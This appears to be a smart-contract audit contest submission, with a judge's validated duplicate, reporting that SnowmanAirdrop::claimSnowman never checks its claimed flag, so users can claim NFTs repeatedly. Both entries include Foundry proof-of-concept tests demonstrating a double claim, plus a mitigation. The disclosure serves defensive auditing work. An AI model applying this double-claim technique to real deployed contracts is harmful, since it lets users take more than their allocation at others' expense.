Snowman Merkle Airdrop
AI First Flight #10
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Submission Details
Severity: low
Valid

`s_hasClaimedSnowman` is set but never checked, allowing users to claim Snowman NFTs multiple times

404persona

Description

  • The SnowmanAirdrop::claimSnowman function is intended to allow each eligible user to claim Snowman NFTs exactly once. The s_hasClaimedSnowman mapping tracks which addresses have already claimed, and a getter getClaimStatus exposes this state.

  • The mapping is set to true after a successful claim, but is never checked at the start of claimSnowman. A user on the Merkle tree can earn or buy additional Snow tokens (restoring their balance to the original amount), then call claimSnowman again with the same valid Merkle proof. The user receives additional Snowman NFTs each time.

// src/SnowmanAirdrop.sol:69-98
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
// @> Missing: check s_hasClaimedSnowman[receiver] before proceeding
​
if (receiver == address(0)) { revert SA__ZeroAddress(); }
if (i_snow.balanceOf(receiver) == 0) { revert SA__ZeroAmount(); }
​
// ... signature and merkle verification ...
​
i_snow.safeTransferFrom(receiver, address(this), amount);
s_hasClaimedSnowman[receiver] = true; // @> Set but never checked above
​
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}

Risk

Likelihood:

  • Any user on the Merkle tree who re-acquires the exact same Snow token balance can repeat the claim

  • Snow tokens are freely earnable weekly via earnSnow() or purchasable via buySnow()

Impact:

  • Users claim unlimited Snowman NFTs by repeatedly re-acquiring Snow tokens and calling claimSnowman

  • The Merkle-based airdrop allocation is violated — users receive more than their intended share

  • NFT supply inflated beyond the designed distribution

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
import {Test, console2} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {Helper} from "../script/Helper.s.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
​
contract PoC_H02 is Test {
Snow snow;
Snowman nft;
SnowmanAirdrop airdrop;
MockWETH weth;
​
bytes32[] AL_PROOF;
​
address alice;
uint256 alKey;
​
function setUp() public {
Helper deployer = new Helper();
(airdrop, snow, nft, weth) = deployer.run();
(alice, alKey) = makeAddrAndKey("alice");
​
AL_PROOF.push(0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52);
AL_PROOF.push(0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af);
AL_PROOF.push(0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1);
}
​
// H-02: s_hasClaimedSnowman is set but never checked.
// A user can claim, earn more Snow tokens, and claim again indefinitely.
function test_H02_DoubleClaim() public {
uint256 aliceSnowBefore = snow.balanceOf(alice);
console2.log("Alice Snow balance:", aliceSnowBefore);
assertEq(aliceSnowBefore, 1);
​
// First claim
vm.prank(alice);
snow.approve(address(airdrop), 1);
​
bytes32 digest1 = airdrop.getMessageHash(alice);
(uint8 v1, bytes32 r1, bytes32 s1) = vm.sign(alKey, digest1);
airdrop.claimSnowman(alice, AL_PROOF, v1, r1, s1);
​
console2.log("After first claim - Alice NFTs:", nft.balanceOf(alice));
console2.log("After first claim - s_hasClaimedSnowman:", airdrop.getClaimStatus(alice));
assertEq(nft.balanceOf(alice), 1);
assertTrue(airdrop.getClaimStatus(alice));
assertEq(snow.balanceOf(alice), 0);
​
// Alice earns another Snow token
vm.warp(block.timestamp + 1 weeks);
vm.prank(alice);
snow.earnSnow();
assertEq(snow.balanceOf(alice), 1);
console2.log("Alice earned another Snow token, balance:", snow.balanceOf(alice));
​
// Second claim — succeeds despite s_hasClaimedSnowman being true
vm.prank(alice);
snow.approve(address(airdrop), 1);
​
bytes32 digest2 = airdrop.getMessageHash(alice);
(uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, digest2);
airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2);
​
console2.log("After SECOND claim - Alice NFTs:", nft.balanceOf(alice));
assertEq(nft.balanceOf(alice), 2, "Alice double-claimed NFTs!");
}
}

Output:

[PASS] test_H02_DoubleClaim() (gas: 372304)
Logs:
Alice Snow balance: 1
After first claim - Alice NFTs: 1
After first claim - s_hasClaimedSnowman: true
Alice earned another Snow token, balance: 1
After SECOND claim - Alice NFTs: 2

Recommended Mitigation

Add a check at the beginning of claimSnowman that reverts with SA__AlreadyClaimed() when s_hasClaimedSnowman[receiver] is already true. This enforces that each address on the Merkle tree can only claim their Snowman NFTs once, which is the intended behavior given that the mapping already exists and is set after each claim.

+ error SA__AlreadyClaimed();
​
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) { revert SA__ZeroAddress(); }
+ if (s_hasClaimedSnowman[receiver]) { revert SA__AlreadyClaimed(); }
if (i_snow.balanceOf(receiver) == 0) { revert SA__ZeroAmount(); }
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[L-01] Missing Claim Status Check Allows Multiple Claims in SnowmanAirdrop.sol::claimSnowman

# Root + Impact   **Root:** The [`claimSnowman`](https://github.com/CodeHawks-Contests/2025-06-snowman-merkle-airdrop/blob/b63f391444e69240f176a14a577c78cb85e4cf71/src/SnowmanAirdrop.sol#L44) function updates `s_hasClaimedSnowman[receiver] = true` but never checks if the user has already claimed before processing the claim, allowing users to claim multiple times if they acquire more Snow tokens. **Impact:** Users can bypass the intended one-time airdrop limit by claiming, acquiring more Snow tokens, and claiming again, breaking the airdrop distribution model and allowing unlimited NFT minting for eligible users. ## Description * **Normal Behavior:** Airdrop mechanisms should enforce one claim per eligible user to ensure fair distribution and prevent abuse of the reward system. * **Specific Issue:** The function sets the claim status to true after processing but never validates if `s_hasClaimedSnowman[receiver]` is already true at the beginning, allowing users to claim multiple times as long as they have Snow tokens and valid proofs. ## Risk **Likelihood**: Medium * Users need to acquire additional Snow tokens between claims, which requires time and effort * Users must maintain their merkle proof validity across multiple claims * Attack requires understanding of the missing validation check **Impact**: High * **Airdrop Abuse**: Users can claim far more NFTs than intended by the distribution mechanism * **Unfair Distribution**: Some users receive multiple rewards while others may receive none * **Economic Manipulation**: Breaks the intended scarcity and distribution model of the NFT collection ## Proof of Concept Add the following test to TestSnowMan.t.sol  ```Solidity function testMultipleClaimsAllowed() public { // Alice claims her first NFT vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest = airdrop.getMessageHash(alice); (uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, aliceDigest); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v, r, s); assert(nft.balanceOf(alice) == 1); assert(airdrop.getClaimStatus(alice) == true); // Alice acquires more Snow tokens (wait for timer and earn again) vm.warp(block.timestamp + 1 weeks); vm.prank(alice); snow.earnSnow(); // Alice can claim AGAIN with new Snow tokens! vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest2 = airdrop.getMessageHash(alice); (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, aliceDigest2); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2); // Second claim succeeds! assert(nft.balanceOf(alice) == 2); // Alice now has 2 NFTs } ``` ## Recommended Mitigation **Add a claim status check at the beginning of the function** to prevent users from claiming multiple times. ```diff // Add new error + error SA__AlreadyClaimed(); function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { + if (s_hasClaimedSnowman[receiver]) { + revert SA__AlreadyClaimed(); + } + if (receiver == address(0)) { revert SA__ZeroAddress(); } // Rest of function logic... s_hasClaimedSnowman[receiver] = true; } ```

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